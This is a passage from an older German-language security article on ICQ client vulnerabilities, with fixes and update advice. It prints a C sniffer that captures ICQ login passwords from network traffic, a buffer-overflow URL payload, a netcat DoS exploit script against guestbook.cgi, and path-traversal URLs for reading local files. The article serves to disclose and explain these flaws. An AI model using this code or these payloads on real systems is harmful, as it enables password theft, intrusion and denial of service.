strcpy(ifr.ifr_name,
iface);
if(onoff)
ifr.ifr_flags|=IFF_PROMISC;
else
ifr.ifr_flags&=~IFF_PROMISC;
if(ioctl(s,
SIOCSIFFLAGS, &ifr)==-1)
{
perror("SIOCSIFFLAGS");
exit(1);
}
}
static __inline__ ip_p(unsigned char *packet, int
len)
{
if(packet[12]==0x08
&& packet[13]==0x00)
return 1;
return
0;
}
struct icqhdr
{
unsigned
char version[2] __attribute((packed)); /* ?? */
unsigned
short command __attribute((packed));
unsigned
short sequence __attribute((packed));
unsigned
long uid __attribute((packed));
unsigned
char data[0];
};
struct icqack
{
unsigned
char version[2] __attribute((packed)); /* ?? */
unsigned
short result __attribute((packed));
unsigned
short sequence __attribute((packed));
unsigned
char data[0];
};
struct icqstring
{
unsigned
short len;
char data[0];
};
struct icqlogin
{
struct
icqhdr hdr __attribute((packed));
unsigned
long dunno __attribute((packed)); /* 000006FE.L */
unsigned
short pw_len __attribute((packed));
unsigned
char pw_data[11] __attribute((packed));
struct
in_addr addr __attribute((packed));
/* Rest
is a mystery right now */
/* 0.L
*/
/* 2.L
*/
/* 0000004C,
00000000 */
/* 00 78
*/
};
static void print_icq_string(struct icqstring *s)
{
fwrite(s->data,
s->len-1, 1, stdout);
}
/*
* Scan a packet
for clues
*/
static int process_packet(struct sockaddr *sa, unsigned
char *packet, int len)
{
int i;
int lv;
int d=0;
static
long num=0;
struct
iphdr *iph;
struct
udphdr *udphdr;
if(strcmp(sa->sa_data,"eth0"))
return 0;
/* Wrong port */
if(!ip_p(packet,
len))
return 0;
iph=(struct
iphdr *)(packet+14);
udphdr=(struct
udphdr *)(iph+1);
/* assume
no options */
lv=ntohs(udphdr->len);
if( udphdr->source
!=htons(4000) && udphdr->dest!=htons(4000))
{
return 0;
}
/* printf("packet %d
\r", ++num);*/
if(iph->saddr==htonl(MY_CLIENT_TO_WATCH))
{
printf("To Server: %d bytes\n", lv);
}
else if(iph->daddr==htonl(MY_CLIENT_TO_WATCH))
{
printf("From Server: %d bytes\n", lv);
d=1;
}
else return
0;
i=14+sizeof(struct
iphdr);
if(len-i>lv)
len=i+lv;
i+=sizeof(struct
udphdr);
/* printf("UDP size
%d\n",i);*/
if(i>=sizeof(struct
icqhdr)+sizeof(struct udphdr))
{
struct icqhdr *p=(struct icqhdr *)(udphdr+1);
if(d==0)
{
printf("From %ld\n",p->uid);
printf("Version: %d.%d\nCommand ",
p->version[1], p->version[0]);
switch(p->command)
{
case 0x000A:
printf("Ack");
break;
case 0x03E8:
{
struct icqlogin *il=(struct icqlogin *)p;
printf("Login Password ");
print_icq_string((struct icqstring *)&il->pw_len);
printf(" IP %s", inet_ntoa(il->addr));
break;
}
#if 0
case 0x0x??
{
struct in_addr v=*(struct in_addr *)p->data;
printf("Ping %s", inet_ntoa(v));
break;
}
#endif
case 0x409:
{
printf("Ping");
break;
}
case 0x0438:
{
struct icqstring *s=(struct icqstring *)p->data;
printf("Disconnect (");
print_icq_string(s);
printf(")");
break;
}
case 0x0456:
{
/* data +4,5 is always 0100 */
struct icqstring *s=(struct icqstring *)(p->data+6);
printf("Message to %ld ", *((long *)p->data));
print_icq_string(s);
break;
}
case 0x0460:
{
printf("Information %ld on ID %d",
*((short *)p->data),
*((long *)(p->data+2))
);
break;
}
case 0x046A:
{
printf("Information_2 %ld on ID %d",
*((short *)p->data),
*((long *)(p->data+2))
);
break;
}
case 0x04D8:
{
printf("Status ");
switch(*((long *)p->data))
{
case 0x00:
printf("[Away 0]");
break;
case 0x01:
printf("[Away 1]");
break;
case 0x10:
printf("[DND 0]");
break;
case 0x11:
printf("[DND 1]");
break;
default:
printf("%04X",
*((long *)p->data));
}
break;
}
default:
printf("%04X", p->command);
}
if(p->sequence)
printf("\nSequence %d\n",
p->sequence);
else
printf("\n");
}
}
if(i>=sizeof(struct
icqack)+sizeof(struct udphdr))
{
struct icqack *p=(struct icqack *)(udphdr+1);
if(d==1)
{
printf("Version: %d.%d\nReply ",
p->version[1], p->version[0]);
switch(p->result)
{
case 0x000A:
printf("Ack");
break;
case 0x00E6:
printf("Away Reply ");
printf("for %ld",
*((long *)p->data));
break;
case 0x0118:
{
struct icqstring *is;
printf("InfoID %d\n",
*((short *)p->data));
printf("ICQ ID %ld\n",
*((long *)p->data+2));
is=(struct icqstring *)(p->data+6);
printf("Nick ");
print_icq_string(is);
is=(struct icqstring *)(((char *)is)+is->len+2);
printf("\nName ");
print_icq_string(is);
is=(struct icqstring *)(((char *)is)+is->len+2);
printf(" ");
print_icq_string(is);
is=(struct icqstring *)(((char *)is)+is->len+2);
printf("\nEMail ");
print_icq_string(is);
is=(struct icqstring *)(((char *)is)+is->len+2);
printf("\nInfo ");
print_icq_string(is);
break;
}
default:
printf("%04X", p->result);
}
if(p->sequence)
printf("\nSequence %d\n",
p->sequence);
else
printf("\n");
}
}
while(i<len)
{
int x;
for(x=0; x<8 && i+x<len; x++)
{
printf("%02X ", packet[i+x]);
}
printf(" ");
for(x=0;x<8 && i+x<len; x++)
{
unsigned char c=packet[i+x];
if(c>=32 && c< 127)
printf("%c", c);
else
printf(".");
}
printf("\n");
i+=8;
}
printf("\n");
fflush(stdout);
return
0;
}
int main(int argc, char *argv[])
{
int s;
unsigned
char buf[1600];
struct
sockaddr sa;
int salen;
int len;
s=create_socket();
promiscuous(s,
"eth0", 1);
while(1)
{
salen=sizeof(sa);
if((len=recvfrom(s, (char *)buf, 1600, 0, &sa, &salen))==-1)
{
perror("recvfrom");
close_socket(s);
exit(1);
}
process_packet(&sa, buf,len);
}
printf("An
error has occured.\n");
close_socket(s);
exit(0);
}
Der zweite Fehler findet sich in einer leicht durchschaubaren
Sequenz-Nummern-Wahl bei dieser Kommunikation, welche bei
0 beginnt und mit maximal 100 endet. Es ist nun einfach möglich
eine Authentifizierung vorzutäuschen oder zu entreissen, wie
das schon von IP-Spoofing und TCP-Hijacking bekannt ist.
3.1.8 ICQ99b: Bufferoverflow dank URL
Dieser Angriff wurde erfolgreich auf der finalen
Beta-Version von Windows 2000 getestet: Durch das verschicken
der korrupten URL "http://www.computec.ch/sites.asp? ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð!!!!·P!^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð"
kann auf einem Ziel-System, dass ICQ 99b 1.1.1.1 am Laufen
hat, Maschinencode ausgeführt werden, um zum Beispiel eine
Eingabeaufforderung zu öffnen, ein trojanisches Pferd zu starten
oder die gesamte Festplatte zu formatieren. Der Maschinen-Code
wird sofort ausgeführt, sobald der User zur besagten URL mittels
Klick browsen möchte. Einige elementare Zeichen sind in der
besagten URL nicht erlaubt, was ein nützlicher Angriff ziemlich
erschwert: Dazu gehören "," und die beiden "[", OpCode 2C
und 01.
Eine einfache Lösung besteht in einer erhöhten Alarmbereitschaft
und Sensibilisierung der Anwender, sobald URLs per ICQ von
Anwendern erhalten werden, die man nicht "gut" kennt. Eine
weitaus sicherere Lösung ist in den Einstellungen automatisch
alle URL-Zusendungen verwerfen zu lassen. Ein Update auf
eine neuere ICQ-Version schafft ebenso Abhilfe.
3.1.9 ICQ99b: Client-to-Client-Protokoll
Dieser Text bezieht sich auf ein ähnliches Problem,
wie das beschrieben zu "Sniffing bei Authentifizierung beim
ICQ-Server". Seth McGann fand heraus, dass das eingesetzt
Client-to-Client-Protokoll von ICQ im gleichen Masse keine
genaue Authentifizierung vornimmt, wodurch Nachrichten und
Chat-Request vorgetäuscht und korrupte Dateien im namen anderen
verschickt werden können. Auch stürzt in gewissen Fällen der
ICQ-Client ab, und reisst zugleich das gesamte Windows-System
mit. Auch finden sich zur Kommunikation zwischen zwei Clients
keine Vorrichtungen zum Schutze vor Flood-Attacken und Packet-Relaying
ist auch erlaubt. Einige 1'000 Messages an einen Pentium mit
166 MHz vermögen das System komplett auszulasten.
Der einzige sicherheitsrelevante Vorteil dieses Protokolls
besteht in der stets wechselnden Port-Wahl bei jeder Session:
Es werden die Ports rund um 1024 bis 2000 verwendet.
3.1.10 ICQ99b: DoS-Attacke dank guestbook.cgi
Wurde die "My ICQ Page"-Funktionalität
aktiviert, verwandelt sich der heimische PC neben einem Web-Server
auch in in einen File-Server. Hinzu wird auch noch ein CGI-basierendes
Gästebuch aktiviert. Daten, die in dieses Guestbook eingetragen
werden, werden von der Datei "guestbook.cgi" verwaltet.
Philip Stoev gab bekannt, dass
dieses CGI-Script eine Verwundbarkeit beinhaltet, die zu einer
Remote-DoS-Attacke genutzt werden kann, um den ICQ-Clienten
des Opfers abstürzen zu lassen. Von dieser Attacke betroffen
ist ICQ Version 99b Beta v3.19 Build #2569 und leider auch
2000a. Möchte ein User durch die Eingabe von "http://icqstation.example.com/guestbook.cgi"
im eigenen Web-Browser auf das Script zugreifen, erhält er
eine Serverseitige Meldung, die ihm den Zugriff untersagt.
Gibt er jedoch die gleiche URL nocheinmals ein, gefolgt von
einem Fragezeichen am Schluss ("http://icqstation.example.com/guestbook.cgi?"),
stürzt der ICQ-Client beim Ziel-System ab. Diese Attacke wurde
mit dem Script icqwebfront.sh
von Bansh33
automatisiert:
#!/bin/sh
# [r00tabega.security.labs]
#
# ICQ Web Front DOS Exploit by bansh33
# Vulnerability discovered by Mr^Cha0s (Meliksah Ozoral)
# Requires Netcat (nc)
# See www.meliksah.net/adv_icq1.txt for full advisory
info.
#
# -- www.r00tabega.com --
echo -e "ICQ Web Front DOS Exploit by bansh33 -- www.r00tabega.com"
echo -e "Enter target host below:"
read TARGET
if [ "$TARGET" == "" ];
then
echo -e "You must enter a target!"
exit 1
fi
echo "Executing DOS attack against $TARGET"
echo -n .
cat > icqwebfront1.tmp << EOF
POST /guestbook.cgi HTTP/1.0
name=r00tabega_rox&comments=your world
EOF
echo -n .
cat > icqwebfront2.tmp << DATA
GET /guestbook.cgi?name=01234567890012345678901234567890
HTTP/1.0
DATA
echo -n o
cat icqwebfront1.tmp | nc $TARGET 80
echo -n o
cat icqwebfront2.tmp | nc $TARGET 80
echo -n O
rm -f icqwebfront1.tmp
rm -f icqwebfront2.tmp
echo -n O
echo
echo "Attack complete. -www.r00tabega.com-"
Wiederum hilft hier in diesem Fall die erweiterten Features
zu deaktivieren und im besten Falle auf eine neuere ICQ-Version
upzudaten.
3.1.11 ICQ99b: DoS-Attacke durch URL
Selektiert man im ICQ die Option "Activate my
home page", fungiert die eigene Maschine als Web-Serverm
der ganz regulär auf dem Standart-Port für HTTP angesprochen
werden kann. Gleichzeitig öffnet sich auch die Funktion, dass
das heimische System als File-Server fungieren kann, wobei
das Verzeichnis "Program files\icq\homepage\root\uin\files"
automatisch alle darin befindlichen Daten für externe Anwender
abrufbar macht. Gleichzeitig werden noch andere interaktive
Gimmicks, wie zum Beispiel Gästebuch und Chat-System, freigeschaltet.
Flaming Dog publizierte eine Sicherheitslücke unter Windows
95 mit ICQ 99a build #1700, die es entfernten Benutzern erlaubt
eine DoS-Attacke gegen zu starten. Es wird vermutet, dass
alle älteren 99er-Versionen gegen diese Attacken verwundbar
sind. Die persönliche ICQ-Homepage eines Nutzers wird mit
der Eingabe der IP-Adresse im Web-Browser angezeigt. Wird
nun nach dem abtrennenden Slash im Browser von w3m etwa 300
Punkte angefügt (http://205.188.147.53/...................und
so weiter..../), so stürzt der ICQ-Client auf dem Ziel-System
ab. Den gleichen effekt kann man bei bei http://members.icq.com/ erzielen.
ICQ99 build #1800 ist gegen diese Attacke gefeilt, und
nicht mehr verwundbar. Somit ist ein Update wiederum die
beste Lösung in Anbetracht der nun zusätzlich folgenden
Sicherheitslücke:
Ronald A. Jarrell fand zusätzlich heraus, dass bei einem
System, dass jenen Service mit ICQ 99a build 1700 v2.13
zur Verfügung stellt, der ICQ-Client und Web-Server-Teil
abgestürzt werden lassen kann. Dazu muss einfach eine Telnet-Sitzung
auf Port 80 (HTTP) zum Zielsystem aufgebaut und irgendwelchen
Müll eingegeben werden: "quit<cr>" würde
in diesem Fall schon reichen, um den Windows-Clienten in
die Knie zu zwingen. Mit der Eingabe von "GET ..........und
so weiter" kann der Web-Server-Teil heruntergerissen
werden. Die DoS-Attacken gegen den Web-Server funktioniert
auf Windows NT-Maschinen, jedoch nicht bei Windows 95. Wie
sich Windows 98 und Windows 2000 verhält, ist nicht genau
klar.
3.1.12 ICQ99b: File-Sharing
Selektiert man im ICQ die Option "Activate my
home page", fungiert die eigene Maschine als Web-Serverm
der ganz regulär auf dem Standart-Port für HTTP angesprochen
werden kann. Gleichzeitig öffnet sich auch die Funktion, dass
das heimische System als File-Server fungieren kann, wobei
das Verzeichnis "Program files\icq\homepage\root\uin\files"
automatisch alle darin befindlichen Daten für externe Anwender
abrufbar macht. Gleichzeitig werden noch andere interaktive
Gimmicks, wie zum Beispiel Gästebuch und Chat-System, freigeschaltet.
Ist der Web-Server aktiviert, kann jeder User alle Daten auf
der lokalen Festplatte einsehen, wie Jan Vogelsang herausfand.
Dazu nötig ist ein simpler Web-Browser, mit welchem man durch
die Eingabe von "http://members.icq.com/<ICQ-UIN>/"
direkt auf den privaten Computer per TCP-Port 80 (HTTP) zugreift.
Ein solcher Zugriff führt die lokalen Daten in "/ICQ99/Homepage/<ICQ-UIN>/personal/"
zu Tage. Ein Besucher kann nun ganz einfach mittels Punkten
die Verzeichnisse "heraushüpfen", um jeweils eine Hierarchie-Stufe
höher im Verzeichnis-System vorzudringen. Die Eingabe von
"http://<IP-Adresse>/...../passwd.html" würde
ihm nun den Inhalt der Datei passwd.html im ICQ99-Verzeichnis
anzeigen. Zwar wird die ganze Harddisk dadurch ersichtlich,
jedoch können eigentlich nur HTML-Dokumente angezeigt werden.
Durch einen weiteren Trick werden jedoch auch Nicht-HTML-Dateien
angezeigt. Die Eingabe von "http://<IP-Adresse>/............./autoexec.bat"
in den Web-Browser wird die Datei nicht anzeigen lassen. Hingegen
bei der Angabe von "http://<IP-Adresse>/.html/............./autoexec.bat"
wird die Datei ganz normal ersichtlich. Diese Angriffs-Form
wurde bei ICQ99 Build 1700 und 1547 erfolgreich getestet,
und funktioniert unter Windows 9X und Windows NT.
Mirabilis fixte
den Bug in der darauf folgenden Version Build 1800.
3.1.13 ICQ2000: Und was ist damit?
Die erste öffentliche frei zugängliche und nutzbare
Version von ICQ2000 erblickte vor nicht allzu langer Zeit
das Licht der Welt und eine Einschätzung über die Sicherheit
des Clients wäre nichts mehr als vage Vermutungen. Auf den
ersten Blick kann aber mit einem erfreuten Lächeln ein erhöhtes
Mass an Sicherheit im jüngsten Windows-Client erkannt werden.
Viele dubiose Funktionen, die ein gewisses Gefahrenpotential
in älteren Client-Versionen boten wurden entfernt oder perfektioniert
um eine möglichst gute software- und clientseitige Schadenseingränzung
zu bieten.
Die einzige Gefahr, die in ICQ2000a nicht gebannt werden
konnte ist die DoS-Attacke dank guestbook.cgi, wie am 29.
Mai 2000 im Bugtraq-Artikel 1463 und auf Securityfocus (http://www.securityfocus.com/bid/1463/)
publiziert wurde.
Ich kann jedem ICQ-Nutzer das Update auf die neueste Version
empfehlen, da prinzipiell die älteren Bugs beseitigt wurden
und nebenbei noch ein erweitertet Funktionsumfang mit gewohntem
Komfort geboten wird.
Die aktuellsten Sicherheitslücken von ICQ finden sich in Deutsch auf
meiner Homepage unter http://www.computec.ch/
!
Dieser Text ist unverfälscht frei kopierbar!
Marc Ruef <mailto:marc.ruef@computec.ch?subject=Die
Sicherheit von ICQ>
http://www.computec.ch/
|